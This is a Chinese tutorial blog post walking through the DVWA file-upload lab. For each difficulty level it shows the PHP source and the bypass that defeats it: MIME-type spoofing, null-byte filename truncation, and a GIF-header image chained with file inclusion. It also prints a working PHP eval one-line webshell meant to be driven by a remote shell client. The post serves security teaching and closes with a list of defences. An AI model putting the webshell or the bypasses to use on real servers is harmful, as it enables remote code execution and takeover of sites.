DVWA [File Upload] [文件上传漏洞]

目录

Low

Medium

High

Impossible

漏洞防御


Low

源码:

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";   //上传文件的路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );   //文件路径=上文文件的路径+文件名
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?> 

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。如果上传成功,则会提示 路径+succesfully uploaded! 如果上传失败,则会提示 Your image was not uploaded。
我们直接上传php文件:

访问:http://127.0.0.1:8080/DVWA-master/hackable/uploads/phpinfo.php

可以看到,已经上传成功了。 

Medium

 源码:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

 可以看到,服务器对上传文件的大小和类型做了限制。只允许上传小于 100000 字节并且文件type类型是image/jpeg或 image/png。

方法一:

我们抓包进行修改文件类型:

将这里改成image/jpeg,然后放包;

 

方法二: 

在php<5.3.4中,处理字符串的函数认为0x00是终止符。那么我们可以利用 00截断 漏洞来上传我们的一句话木马。网站上传函数处理1.php%00.jpg时,首先后缀名是合法的jpg格式,可以上传,在保存文件时,使用burpsuite进行包拦截,找到上传的路径,把文件名改为 1.php[空格].jpg ,十六进制查看,空格的十六进制代码为20,将其修改为 00。后端在判断文件后缀名的时候遇到%00字符丢弃后面的jpg,文件后缀最终保存的后缀名为 1.php。然后我们就可以用我们的菜刀连接了。

 我们切换下php版本,然后重启php环境,我们上传1.php

<?php @eval($_POST['key']); ?>

 然后抓包,修改文件名如下:

不要忘记在16进制中将20改为00;然后重发;

 也可以先把文件名改为1.php%00.jpg然后把%00使用url编码也可以进行00截断。

可以看到,已经上传成功了。 然后菜刀相连即可,连接url:http://127.0.0.1:8080/DVWA-master/hackable/uploads/1.php

High

源码:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

一些函数:

 strrpos(string , find ,start)  查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始

 substr(string,start,length) 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度

 strtolower(string) 返回给定字符串的小写

 getimagesize(string) :函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING级的错误。所以 getimagesize函数的作用是判断上传的文件是不是有效的图片

move_uploaded_file(file,newlocal) 函数表示把给定的文件移动到新的位置

 所以  $uploaded_ext  表示的是上传文件的后缀名 ,这里限制上传的文件的后缀名必须以 jpg 、jpeg或png结尾,同时大小<100000,同时上传的文件必须是有效的图片格式(不只是以图片的格式结尾,而且文件内容是图片格式的),属于白名单过滤;

利用方式:

我们上传一句话木马,然后把文件名改为 1.jpg,发现上传不了,因为仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的,所以我们在文件头部加上了jpg格式的 GIF89 

GIF89
<?php phpinfo(); ?>

然后再进行上传;如下图,上传成功;

然后我们使用文件包含漏洞,包含该文件;

url:http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/?page=file:///D:\phpstudy\PhpStudy20180211\PHPTutorial\WWW\DVWA-master\hackable\uploads\phpinfo.jpg

我上传的是phpinfo文件,如果你上传的是一句话木马的话,这里菜刀连这个url就可以直接拿到shell了

http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/?page=file:///D:\phpstudy\PhpStudy20180211\PHPTutorial\WWW\DVWA-master\hackable\uploads\phpinfo.jpg

Impossible

源码:

<?php
 
if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
 
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];    //文件在上传者机器上的文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //上传文件的后缀名
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];  //上传文件的大小
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];  //上文文件的类型
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];  //文件上传到服务器临时文件夹后的文件名
 
    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
 
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {
 
        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );
 
        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
 
        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
 
// Generate Anti-CSRF token
generateSessionToken();
 
?> 

一些函数:

imagecreatefromjpeg(filename):从给定的文件或url中创建一个新的图片

imagejpeg(image,filename,quality):从image图像中以 filename 文件名创建一个jpeg的图片,参数quality可选,0-100 (质量从小到大)

imagedestroy(image) : 销毁图像

可以看到,源代码对上传的文件进行了重命名(为md5值,导致00截断无法绕过过滤规则),并且加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

漏洞防御

  1. 客户端检测,使用js 对上传图片检测,包括文件大小、文件扩展名、文件类型等
  2. 服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测、对文件重命名等
  3. 服务器端上传目录设置不可执行权限
  4. 检查网站有没有文件解析漏洞和文件包含漏洞
  5. 将文件上传到单独的文件服务器,并且单独设置文件服务器的域名

相关文章:https://xie1997.blog.csdn.net/article/details/82904642

相关文章: 文件上传过滤和绕过

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

carefree798

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值